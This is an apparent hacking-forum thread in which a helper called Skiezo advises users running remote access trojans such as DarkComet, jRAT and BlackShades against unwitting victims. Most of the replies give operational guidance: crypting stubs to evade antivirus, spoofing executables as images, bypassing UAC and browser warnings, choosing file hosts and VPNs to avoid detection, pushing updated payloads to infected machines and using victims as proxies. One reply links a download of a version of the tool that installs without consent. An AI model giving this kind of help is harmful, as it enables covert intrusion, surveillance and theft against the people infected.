Hi,

I have been using the same crypter with my RAT for around a year now and it works fine. It is currently FUD and has an extension spoofer. The problem i have is this... all of a sudden when people download my stub via google chrome it warns them that it is an executable file and describes it as potentially malicious even though it is spoofed as a jpg. Is there any way I can get around this?

Skiezo™ - February 9, 2013, 6:13 pm

Thanks

- It's a feature used for the NO-IP Updater in the Darkcomet RAT

But it's not needed at all.

- Yes the stability of those RATs are pretty good. However I don't think the stability its not that much of a difference with Darkcomet as that RAT has been worked on with a lot of patient too.

- Yes you probably have been using the startup of Darkcomet.
You can call it a glitch of Darkcomet as they have to run the Application that pops up again "Startup" but that has been processed already. They ran it when you infected them. So that's why there are 2 Processes running in Task Manager of Processors and they come up twice.

(Feb 5, 2013 10:36 AM)tectonikfou Wrote: [\[CITE\]](#) My router page(Zyxel) doesnt have the setting option of "firewall" or "port F..." what can I do to make my Jrat works correctly?

I have Zyxel. And you need to search for the NAT feature.
That's the one you need to in order to Port Forward.

Rozyn - February 9, 2013, 7:19 pm

I am having an issue with jRat. It is not portforwarding, it is actually building the server. I am on a mac. When I hit build it loads until halfway then just stops and sits there on every setting. Could you help?

Skiezo™ - February 9, 2013, 9:26 pm

(Feb 9, 2013 08:19 PM)? Rozyn ? Wrote: [\[CITE\]](#) I am having an issue with jRat. It is not portforwarding, it is actually building the server. I am on a mac. When I hit build it loads until halfway then just stops and sits there on every setting. Could you help?

This has something to do with your MAC or the jRAT itself.

Try to PM [RedpoisOn](#) about this happening.

Didn't I answer this one your other thread you posted in the RAT section?

Yes you did, sorry, thanks for your help Skiezo. I actually put it in more than one "RAT help centre" and got a different answer every time.

W A A Z E - February 10, 2013, 3:50 am

Hi ! I need help to make a crypted RAT server. Can you help with that ?

VOUCH for Skiezo™

Regards,

Delight Cruel.

?NoShame - February 10, 2013, 6:05 am

Skeize what are the best direct link websites since ge.tt doesn't work for me

blueprint_suc - February 10, 2013, 10:22 am

Thanks for the answers mate. Really appreciate.

(Feb 10, 2013 07:05 AM)?NoShame Wrote: [\[CITE\]](#) Skeize what are the best direct link websites since ge.tt doesn't work for me

If skeizo, doesnt mind, I will take this one. After you upload on ge.tt, you need to go to the download page, then right click on the download link, to get the "direct link", rather than use the download link, first generated by ge.tt

Skiezo™ - February 11, 2013, 9:12 am

(Feb 10, 2013 04:50 AM)Delight Cruel Wrote: [\[CITE\]](#) Hi ! I need help to make a crypted RAT server. Can you help with that ?

VOUCH for Skiezo™

Regards,

Delight Cruel.

I'm not giving away free crypts. I would highly suggest you to go one of the RAT helpcenters here in this section. This is thread is based on people that have question or problems with their RAT that needs to be solved.

(Feb 10, 2013 11:22 AM)blueprint_suc Wrote: [\[CITE\]](#) Thanks for the answers mate. Really appreciate.

If skeizo, doesnt mind, I will take this one. After you upload on ge.tt, you need to go to the download page, then right click on the download link, to get the "direct link", rather than use the download link, first generated by ge.tt

Thanks Blueprint_suc.

Although I would like to add that there are more Direct Uploaders that you can use if <http://ge.tt> doesn't work out for you that much.

<http://directxex.com>

<http://rghost.net>

<http://zalil.ru/>

<http://www.virushostr.ws/>

Those are all Direct Uploaders that is good to use and that doesn't distribute samples of your crypted servers.

limb3r - February 12, 2013, 9:12 am

Hi skiezo, I posted this in another thread earlier:

Please, Anybody know how to bypass this restrictions on windows 7 and vista, when the .exe(my crypted server) is downloaded, it must be 'Run as administrator' for it to work? Simply double-clicking on the file will not work. I think this only happens with executables downloaded off the internet, so is there any way to successfully work by just double-clicking on it?

Thanks in advance! :

#Skyline - February 13, 2013, 11:37 pm

Ok Skeizo

- How would I go about using jRAT for a JDB, like I mean, isn't there a .jar file in a JDB? so that means there would be 2 .jar files. What on earth should I do?

nullend_void - February 14, 2013, 12:37 am

Hi, any advice on how to infect targeted hosts given only their email addresses?

Lastly, what are your recommended settings for DarkComet to make it fully work with Infinity crypter? Any spoofing tips if I plan to bind it with a jpeg file to make it look as legit as possible?

Thanks!

Skiezo™ - February 14, 2013, 1:43 am

No. Find a Direct uploader that supports JAR files. Use the correct direct download link in the applet code of your JDB, And that's about it.

(Feb 12, 2013 10:12 AM)limb3r Wrote: [\[CITE\]](#) Hi skiezo, I posted this in another thread earlier:

You need to find a crypter that bypasses UAC.

That will bypass it, xProtect would be a good choice to prevent your issue.

#Skyline - February 14, 2013, 1:48 am

No. You won't be able to do that.

By Unchecking everything on your Darkcomet you'll get it fully work with any crypter.
Do not check " Active FWB (Firewall Bypass) "

Do not use Security Password

Don't check the Module Startup

Do not use the Fake error feature

Do not check anything in the Module Shield

Keep " Active offline Keylogger on server Startup " checked

Don't use anything in Host file,Plugins and File binders

Don't use a Custom icon

Compress Executable (Pack) = No compression

Generate your file and this will prevent you from your file being corrupted.

Rage™ - February 14, 2013, 5:25 am

(Feb 14, 2013 02:48 AM)#Skyline Wrote: [\[CITE\]](#) Or you can convert the .jar to a .exe then upload it :D

That wouldn't work...

jRAT is meant to be a .jar stub, if you just rename the file it's not going to work.

So your saying you can just rename a DarkComet stub to a .jpg and it would work? Why do you think we have binders and spoofers then?

#Skyline - February 14, 2013, 5:26 am

Thanks so much! This should be a sticky.

Anyway, what can I do proactively to keep my slaves even before the RAT gets detected? I'd like to avoid having to crypt it again then get them to execute the new RATs.

r00tkiller - February 22, 2013, 1:41 pm

lets say my slaves are windows xp and windows 7...

how to make rdp/openpvn from them ? any references ?

Barney Fred - February 22, 2013, 2:19 pm

when using free crypters from this forum, is it possible they can be backdoored?

Bazis - February 22, 2013, 4:11 pm

(Feb 22, 2013 03:19 PM)Barney Fred Wrote: [\[CITE\]](#) when using free crypters from this forum, is it possible they can be backdoored?

They are not supposed to be backdoored.. if they are i highly reccomend contacting owner :p

NNUUKK33RR - February 22, 2013, 4:24 pm

Is it any "free"/"cheap" rat that works at least pretty good?

ariesdevil - February 23, 2013, 5:39 am

hi i just wana know that is xtreme rat is closed?cz there website is also banned by google.and their gmail is also closed.i am unable to use this rat from 2 day now.or its just their server is down?plz inform me with update

Kushyman - February 23, 2013, 9:53 am

can you please help me with portforwarding , ive tried all the tuts and cannot figure it out when canyouseeme.org doesnt find me

krashnopol - February 23, 2013, 10:36 am

which is the best paid crypter for dark comet

smitpaul - February 23, 2013, 11:04 am

I am using DC with a crypter that I purchased on HF and when the slave tries to run the stub they are getting the following message:

"Windows cannot find C:\Users\username\Downloads\filename.gpj.exe. make sure you typed the name correctly, and then try again."

and then nothing happens. I have never had this problem with this particular crypter before and haven't changed anything regarding the way I usually crypt files but this is happening with every single stub.

I have contacted the owner of the crypter and i'm awaiting a reply but in the meantime I was wondering if anyone has any suggestions as to what the issue may be?

Information i've found online seems to suggest that the file is getting detected and removed automatically before making it to the downloads folder, is this the most likely cause?

Ross Geller - February 24, 2013, 4:03 am

Why are you, Skiezo, such a rat ? You stupid Serbian :D

Be specific in your sentences because I have no idea what to answer on this one.

(Feb 22, 2013 03:19 PM)Barney Fred Wrote: [\[CITE\]](#) when using free crypters from this forum, is it possible they can be backdoored?

I highly doubt there are people that backdoor their crypter to get slaves.

But their executable file could be binded with the crypter that will result in infecting you by their server so be careful with what you're downloading and executing on your computer.

(Feb 22, 2013 05:24 PM)NNUUKK33RR Wrote: [\[CITE\]](#) Is it any "free"/"cheap" rat that works at least pretty good?

I think you heard this a lot, but It's probably the best choice out there.

The RAT I'm refering to is Darkcomet, This RAT has amazing stability with decent features to start with as a beginner, This is also the best FREE RAT that has been downloaded the most.

(Feb 23, 2013 06:39 AM)ariesdevil Wrote: [\[CITE\]](#) hi i just wana know that is xtreme rat is closed?cz there website is also banned by google.and their gmail is also closed.i am unable to use this rat from 2 day now.or its just their server is down?plz inform me with update

Unfortunately I have no clue what the current status is of Xtreme RAT.

There might be useful download links on the forum to get you started with Xtreme RAT, Although be careful with what you download.

(Feb 23, 2013 10:53 AM)Kushyman Wrote: [\[CITE\]](#) can you please help me with portforwarding , ive tried all the tuts and cannot figure it out when canyouseeme.org doesnt find me

If you have tried everything without any luck, Please PM me your Teamviewer details and I will

most likely able to help you out.

Before I want to remote assist you, I'll give you some tips.

- Make sure to shut down your Firewall (e.g. Comodo Firewall)
- Make sure to shut down your Antivirus (e.g. Microsoft Security Essentials)
- Make sure to listen the actual port on your RAT before checking the specific port on

<http://canyouseeme.org>

I have also made a High detailed Port Forwarding tutorial for the 3 most used Routers/Models that can be viewed here:

<https://hackforums.net/showthread.php?tid=3225323>

(Feb 23, 2013 11:36 AM)krashnopol Wrote: [\[CITE\]](#) which is the best paid crypter for dark comet
First of all I would recommend you buying a crypter, Because the crypter will be updated once a while and is highly suggested for using RATs, Free crypters stuck to one version most of the time as they will be not updated and its free which makes it useable for everyone which then results in a highly detected crypter.

I would go for Data Protector, I have experienced this crypter and this amazing.
It's a crypter that has been coded in .NET but with a lot of patience, When you use this crypter and add startup to it the file will be protected with 4 back up processors which makes it extremely hard to kill the file in the Task Manager > Processes. The FUD uptime is 98.9% which is very good in my opinion.

(Feb 23, 2013 12:04 PM)smitpaul Wrote: [\[CITE\]](#) I am using DC with a crypter that I purchased on HF and when the slave tries to run the stub they are getting the following message:

Information i've found online seems to suggest that the file is getting detected and removed automatically before making it to the downloads folder, is this the most likely cause?

Have you used RAT settings when you created the Executable file on your RAT? And after you crypted did you used Crypt settings? Because the only thing I would think of is that it might got corrupted when Crypting settings matched RAT settings.

(Feb 24, 2013 05:03 AM)Ross Geller Wrote: [\[CITE\]](#) Why are you, Skiezo, such a rat ? You stupid Serbian :D
Hello Serbian!

How are you my friend?
Will speak to you soon!

(Feb 24, 2013 05:08 AM)DarkOrion Wrote: [\[CITE\]](#) okay so i'm using jrat and i keep getting an error that says "files exist in directory" when i try to build the server. help please

You must entered something not right when trying to create the file.
Did you make sure you select the output where it saves the created file?
Please be also a bit more specific what the current error is.

omzahs - February 25, 2013, 2:13 am

So basically what I have done so far...I have read/watched numerous TuTs on setting up a server, port forwarding etc.

I have confirmed the port is open on canyouseeme.org and I have created my rat and tested it on myself. Created a no-ip acc. Ran server.exe on myself and I showed up fine. So I created another which I was planning on spreading but I tried to test it on my girlfriends laptop. We share the same router and I couldn't get her to show...I disabled all firewalls and AV's. Also I have confiremed I am listening to the forwarded port.

I read a few other threads like this and was directed towards Anubis. I tried using that and it still didnt show. I tried crypted and uncrypted and nothing shows in DarkComet...Please Help

Skiezo™ - February 25, 2013, 2:19 am

Since you're using the same router as your girlfriend you would be able to make a executable file with host as your local which is: 127.0.0.1, Make that file and try to execute that on your girlfriend's computer, also make sure to check if the Executable file is actually executed by opening your girlfriend's Task Manager > Processes, This way you have a way to confirm that its actually not working because there might be something blocking the file, If the file is in the processes you might be doing something wrong and I'm willing to help you with that.

omzahs - February 25, 2013, 2:25 am

Ok excellent. I will go try that and report back asap...

dugidox - February 25, 2013, 2:34 am

Mate, you must learn difference between LOCALHOST and LAN (in this case, 2 computers in same network).

127.0.0.1 should point to nowhere if he run that on gf PC.

LAN IP should work fine.

- Open CMD
- ipconfig [ENTER]
- find your IPv4 Address for current network interface (it should be like 192.168.xxx.xxx)
- Put that IP in builder settings
- Run on GF PC

Enjoy

omzahs - February 25, 2013, 2:36 am

Ok, so I can confirm that her laptop has been infected as I can see the process running. But I dont get anything on my end in DC. Firewalls are off and AV too. Any ideas??

Skiezo™ - February 25, 2013, 2:37 am

Yes. You would be able to infect others with no issues. I would also recommend you to use Sandboxie, Sandboxie is a Sandboxing tool used to run programs in a sandbox environment, it can be very useful when using RATS. Many people use it to run there RAT server. SandBoxie is not just for RATS though, it can be used to test suspicious files. If you do not show up on yourself when using Sandboxie your router doesn't support NAT loopback.. Nothing to worry about just use 127.0.0.1 when running on your own host computer and your IPV4 Address for possibly other LAN connections within your network.

omzahs - February 25, 2013, 3:26 am

Awesome...Thanks so much for your help! If I have anymore questions ill be sure to come back to you...Thanks again

smitpaul - February 25, 2013, 9:35 am

My crypted stub (DC) shows up as FUD on the inbuilt scanner but just recently I have had a huge issue when it comes to google chrome. I wondered why none of my stubs were working so I uploaded one to a file sharing site and tried downloading it myself. It turns out that google chrome indicates it as malicious unless the anti-malware option is turned off in settings. Is there any way around this other than finding a new crypter. I've never had the issue with this crypter until recently.

Zippping it does not help.

D?vil - February 25, 2013, 9:50 am

Apart from jRAT, is there any other good RATs that work on mac?

shocktm - February 25, 2013, 3:50 pm

Hey Skiezo. I was wondering on what's your most free recommended spreading method for a non-fud server for DarkComet?

omzahs - February 25, 2013, 11:42 pm

Hey man, Im still having trouble getting my rat to show on Anubis... Like we discussed last night I got it working for me...Also my GF's laptop but everytime I test it on Anubis nothing shows on DC so I dont wanna start spreading a rat that wont actually send me back any slaves. Is there any chance I can get you to check it out on TV??

Skiezo™ - March 11, 2013, 7:15 am

(Feb 25, 2013 10:35 AM)smitpaul Wrote: [\[CITE\]](#) My crypted stub (DC) shows up as FUD on the inbuilt scanner but just recently I have had a huge issue when it comes to google chrome. Is it possible to RAT from a large university network? I have been told vpns are the way to go, but how does portforwarding work in that situation?

Skiezo™ - April 15, 2013, 12:07 am

(Mar 11, 2013 05:28 PM)gatechguy91 Wrote: [\[CITE\]](#) Is it possible to RAT from a large university network? I have been told vpns are the way to go, but how does portforwarding work in that situation?

a VPN is there for security. I would highly suggest to use that then.

There are a VPNs that supports Port Forwarding such as:

- BlackShades VPN
- nVPN

Those VPNs are not expensive, You pay \$6 a month max. They might be even cheaper than that.

Vouch, Skiezo knows A LOT about RAT's

Skiezo™ - April 26, 2013, 7:11 pm

(Apr 26, 2013 01:28 PM)Accur Wrote: [\[CITE\]](#) do you know anything about dark comet 5.4.1 legacy? im trying to set it up and im having trouble.

Darkcomet 5.4.1 is the legal version of Darkcomet which asks permission to the user you want to infect before he/she gets infected. I think thats not what you are looking for though. Darkcomet 5.3.1 is the last version that actually infects people without a popup asking them for permission. Here is a clean version download link for Darkcomet 5.3.1: <http://ge.tt/2mTHh9f/v/0>

King-Of-Hacker "PiatOs" - April 26, 2013, 9:07 pm

If your server.exe is detected, how do you refud all your installs at once using Dark Comet 5.3.1F?

Is there a option to oneclick and all your installs (server.exe) will be refuded if you actually have a crypter...

Ganja™ - May 18, 2013, 12:54 pm

Hi Mai I ask you how to make slaves work as proxy server? What I have been trying to do is uploading a website without using my computer or my ip address. I have heard its possible. If you know how, please share the information. Thanks for your time.

Skiezo™ - May 18, 2013, 2:20 pm

(Apr 26, 2013 09:07 PM)King-Of-Hacker "PiatOs Wrote: [\[CITE\]](#) darkcomet rat by jean perrie is still working today?? bcoz the site of darkcomet is close,

The website is still working as of now. But DarkcometRAT 5.3.1 and the lower version of that RAT are not on the website anymore and developed.

You can now only get the legal RAT called Darkcomet Legacy which is not the RAT you are looking for as you probably need the one that infects people.

(Apr 26, 2013 11:52 PM)LusTer Wrote: [\[CITE\]](#) Can you send me the best method to hack a facebook account?

I have found many methods but i think that you know the best and the easiest;p

I would suggest to take a look at my thread for spread methods. This might help you out on how to hack Facebook accounts here:

There is a feature called: Update on Darkcomet. Once you have a New FUD file you can use that with your direct download link and your current slaves will be updated with the latest FUD executable file.

(May 18, 2013 12:54 PM)dadadaada Wrote: [\[CITE\]](#) Hi Mai I ask you how to make slaves work as proxy server? You can use your slaves as proxy when you have BOTnets or anything similar. You can also use the remote feature for RATs to get to any website you want once they are Away from Keyboard.

How can I know if my crypted server is working? I don't have access to a second computer

Skiezo™ - May 18, 2013, 4:05 pm

(May 18, 2013 03:19 PM)ivegotabigone Wrote: [\[CITE\]](#) How can I know if my crypted server is working? I don't have access to a second computer

Upload your file to a Direct Downloader and try to get a couple installs from someone to see if its working. Otherwise build your file with as host your NO-IP (If your router doesn't support NAT loopback than 127.0.0.1 as host) and crypt your file with no startup attached. Then run it on your own system using Sandboxie or if you know how to remove it do it manually.

You can add me on Skype which is: descrol

firecats - May 18, 2013, 5:31 pm

hi Skiezo, thanks you for the supports you give to every of us.

i have already (like 2-3 years ago) use cybergate to infect some computers but i was too young to understand what i could do with this. Now that i have grow up, i know what i wanna do with that but i need some help and awnsers.

there is some questions for you.

1: could you tell me which is the best free rats available that you know? i will buy the blackshades rat but for now i need an free rat with some option like to :

- download files from the infected computer
- talk with him directly from an chatbox that pop-up on his computer
- if possible, something that could force every infected computer to open some hidden webpages (like adfly) or bitmine on my own pool. (this only example, that not the goal i want to reach with an rat)
- an option to bind the .exe into another file like .png etc.
- if there is, an function like it (i have already seen this before) display a big image that block the user to use his computer or an survey that block his computer until he/she complete it.

i know that almost no chance that an free rat could do this, but atleast please, awnser me about these option and if you can

tell me some which can do it and tell me in any case which is the best free rat to use.

Back to other question.

2: to be protected, which free hide ip/VPN should i use to minimise the risk of being caught?

3: is there any way to modify and display an deface website index pages (converted into a .gif??) into the desktop of the infected and keep his computer blocked with this image at the same time? (which i would use to learn someone to never F* with me).

Thanks you for your patience and your help, and if in any case i didn't post in the wrong, i am sorry and i will fix it.

waiting for your awnsers,

Firecats

ps: sorry for the english, still learning it.

Hello Firecats,

I would only recommend 2 Noob-Friendly but also Free RATs that you would be able to use very well. The first one is obviously Darkcomet RAT and the second one jRAT. I would highly suggest you to buy BlackShades as that is very nice RAT with features that are very useful for whatever you want to do with your victims.

Darkcomet RAT supports everything you have listed but not the binder. However you would be able to use Celesty Binder which comes along with the Darkcomet RAT folder to bind your Executable file with a PNG picture. The function that will display with a big image to make the user complete survey before doing anything doesn't come with Darkcomet as well. There are several programs for that on the forum coded by people but that doesn't involve anything with Ratting as far as I know. This counts for jRAT as well.. It doesn't support what I just told you above.

There are a lot of VPNs on the forum however I cannot recommend you any good free VPN that will offer you the best of the abilities. However I can recommend you some good paid VPNs that supports Port Forwarding, doesn't keep logs and will fit you with using your RAT as well.

These are the VPNs im talking about:

- nVPN I <http://nvpn.net>
- BlackShades VPN I <http://bshades.eu/vpn/>
- Anonymous VPN I <http://#.net/vpn/>

I don't know really what you mean with the blocking defacing website.. I guess you won't be able to do that though. That doesn't involve Ratting.

Khundawg - May 18, 2013, 6:19 pm

How risky would you say it is to purchase tools like Blackshades, crypters, or other tools with your personal Paypal account?

Skiezo™ - May 18, 2013, 6:45 pm

(May 18, 2013 06:19 PM)Khundawg Wrote: [\[CITE\]](#) How risky would you say it is to purchase tools like Blackshades, crypters, or other tools with your personal Paypal account?

It's not even Risky. You are purchasing a product with your money. PayPal doesn't get involved with the government or FBI with what you are buying, besides that PayPal doesn't even know if it is for personal use or illegal activities.

Sundown - May 18, 2013, 6:50 pm

If I take cheerios and scan them with my printer, will the paper taste like cheerios?

firecats - May 18, 2013, 7:07 pm

Thanks you for your help Skiezo, really great and fast help! you save me :)

just to answer you what i was talking about the deface page :

When i deface a webpage, i upload to the website my own index pages, which display an backtrack5 console and write things on it, i just wanted to know if there were an possibility to convert this index.php pages into an .gif and upload it to the computer ^^, so as you told me, its not about ratting, im gonna look on the forum for the tools that i need =)

Sorry for all my question that didn't involve ratting, but THANKS YOU for your help and answers!

Thekill3r - May 20, 2013, 1:58 pm

Hey Skiezo, i have been RATING for a while not really trying to hard to spread it but my questions are

*What website can you download stuff from directly for the RAT? I tried using mediafire and dropbox but i figured those wouldn't work anyway. Maybe a FTP server or something?

*How risky is it to spread your RAT if any, if you have a vpn? Like forums im pretty sure are safe and torrenting. I am currently using ProXPN and Darkcomet.

gedtodehel - May 20, 2013, 2:05 pm

Vouch for Skiezo™ legit user :) know him for a while now.

dondaasian - May 20, 2013, 3:12 pm

Hellooo, I need help for RATS too how do I set up one!?

J3lackwarror - May 21, 2013, 6:53 am

Can I transfer my victims from CyberGate to Darkcomet? :) thanks in advance!

AnonymousPirate - May 21, 2013, 8:29 am

Thanks! answered some of my questions

rocknrolllll - May 21, 2013, 8:46 am

Using blackshades , i cant view screenshot manager, webcam , keylog of a particular slave . Any way to solve it ?

Skiezo™ - May 21, 2013, 9:32 am

(May 20, 2013 01:58 PM)thekill3r Wrote: [\[CITE\]](#) Hey Skiezo, i have been RATING for a while not really trying to hard to spread it but my questions are

*How risky is it to spread your RAT if any, if you have a vpn? Like forums im pretty sure are safe and torrenting. I am currently using ProXPN and Darkcomet.

- I think the best would be <http://ge.tt> or any Direct Downloader that doesn't distribute samples of your crypted file. Dropbox and Mediafire are not recommend. Especially not Dropbox, because that distribute samples of your crypted file.

- It depends on how you spread your file. Some things can be risky to get you caught and somethings aren't even that risky. However I think using a VPN is exaggerated. It's not that risky as you think it is. ProXPN doesn't fully work and has a slow connection, Most likely the ports you are using for ProXPN are in use. I would recommend buying a VPN that supports Port Forwarding like nVPN or BlackShades VPN.

(May 20, 2013 03:12 PM)dondaasian Wrote: [\[CITE\]](#) Hellooo, I need help for RATS too how do I set up one!?

There are many tutorials on the forum to give you a High Quality example on how to use your RAT properly. I would recommend to read one of my biggest RAT thread: The beginners guide.

<https://hackforums.net/showthread.php?tid=3106252>

(May 21, 2013 06:53 AM)J3lackwarror Wrote: [\[CITE\]](#) Can I transfer my victims from CyberGate to Darkcomet? :) thanks in advance!

Yes you can use. Use another port on your Darkcomet and another NO-IP and simply send the files that you have on your Cybergate with the other NO-IP and Port to your Crypted file you got from your Darkcomet. This will surely do its job.

(May 21, 2013 08:46 AM)rocknroll Wrote: [\[CITE\]](#) Using blackshades , i cant view screenshot manager, webcam , keylog of a particular slave . Any way to solve it ?

Make sure you have 2 ports port forwarded for BlackShades. One port is for the incoming connections and the other port is for the features that you will need to use to be able to manage their computer. There must be one port that is closed.

rocknrollIII - May 22, 2013, 11:11 pm

thank you for the info . Can use facebook to spread my server ? (server binded with jpg). Whether facebook accept this kind files ?

Illuminati - May 22, 2013, 11:18 pm

Best paid RAT in your opinion ? ?

rocknrollIII - May 22, 2013, 11:42 pm

im using blackshades with darkeye crypter .

zcAhmed - May 23, 2013, 12:51 am

is there a free VPN allowed all ports ?

and my problem is :

Quote:i have Cybergate 3.4 last version, i make a patch coded it and send it via internet now i think there around 135 clicks on the direct download link, but i did not see any one on the list, i was think the port is closed but my connection is USB Modem, so i used free tril VPN for limit time, but no victims !!

my question is trying patch on my self bad ? and is it affect on the notifications ?

edenndor - May 23, 2013, 2:40 am

I have a question, my rat is not with startup, so How can startup my rat in his computer? (I know there is a function of startup - using DarkComet)

Ty.

J3lackwarror - May 25, 2013, 9:05 am

If I steel some Runescape Gold from an account... Can they find me?

Skiezo™ - May 25, 2013, 5:36 pm

(May 22, 2013 11:18 PM)_Illuminati_ Wrote: [\[CITE\]](#) Best paid RAT in your opinion ? ?

There are a lot of people telling bad shit about BlackShades. But I myself never considered BlackShades bad. It's still the best PAID RAT in my opinion and if were talking about facts it's the best RAT that has been sold on the market here on HackForums. I would totally go for that RAT if you are willing to pay for it.

(May 22, 2013 11:11 PM)rocknroll Wrote: [\[CITE\]](#) thank you for the info . Can use facebook to spread my server ? (server binded with jpg). Whether facebook accept this kind files ?

I'm not really familiar spreading on Facebook, However I think you should be able to add Executable files when you're trying to send them to others.

(May 23, 2013 12:51 AM)zcahmed Wrote: [\[CITE\]](#) is there a free VPN allowed all ports ?

and my problem is :

I don't think there is a Free VPN that supports Port Forwarding. I highly suggest just buying one if you have the money. It's max around \$5-6 a month to purchase a VPN that supports Port Forwarding. nVPN or BlackShades VPN would be recommended as they are the most used on the market.

(May 23, 2013 02:40 AM)edenndor Wrote: [\[CITE\]](#) I have a question, my rat is not with startup, so How can startup my rat in his computer? (I know there is a function of startup - using DarkComet)
Ty.

You can use the "Startup" feature when you try to create your Executable file in the RAT Builder and then you would be able to build the file. If you need the file crypted then I wouldn't recommend using that feature on the RAT but on the crypter.

(May 25, 2013 09:05 AM)J3lackwarror Wrote: [\[CITE\]](#) If I steel some Runescape Gold from an account... Can they find me?

Depends. If you're using a VPN to steal the RSGP on their accounts I highly doubt they'll find you. But if you are just logging into account and transfer without protecting your real WAN IP. I think there is a chance of getting caught yeah.

p4python - May 27, 2013, 1:14 pm

new to hackfourms last night tried DarkComet RAT but dont know how to fud the stub, are there any free crypter or an guide or tutorials to build my own crypter? thanks

FrankServices - August 2, 2013, 10:50 am

Hello,

After a lot of research around HF I couldn't find any solution to my problems.

So, I am using BlackShades 5.3 and while I was testing its functions and features, I came out with those problems:

- Map view

When a bot connected, it doesn't show its location on the map. I changed the API key, and it worked for a while, but everytime a new bot is connecting it asks for my latitude position. Do I have to enter my latitude position everytime a bot is connected to my server?

- Update

Upload and execute:

I used Upload and execute (from my PC), once I have my file uploaded and executed, it shows this on victim's PC cmd: "FCB unavailable". I also tried to make a new file (according to one topic's suggestion) and once the new file uploaded and executed, it shows this on victim's PC cmd: "The NTVDM CPU has encountered an illegal instruction. Choose close to terminate the application"

Update:

I uploaded my file to filetolink.com. When I clicked activate, suddenly my bot disappeared. In addition my file disappeared and stopped working on the victim's pc as well.

Sorry, if those questions have been asked in the past, but I've been searching for more than 30 minutes to find out my answers, and believe me I didn't find anything, except the API thing.

I am looking forward to your reply,
Thanks in advance

learnnow - April 2, 2015, 10:23 pm

Dear Skiezo,

I see many RATS free and paid. Im looking for a RAT that install without administer right and it runs everytime the PC reboots. Also be able to share with USB, dont need port porwarding(client side). Please provide some expertize on any RAT that can feel the requirements. THanks
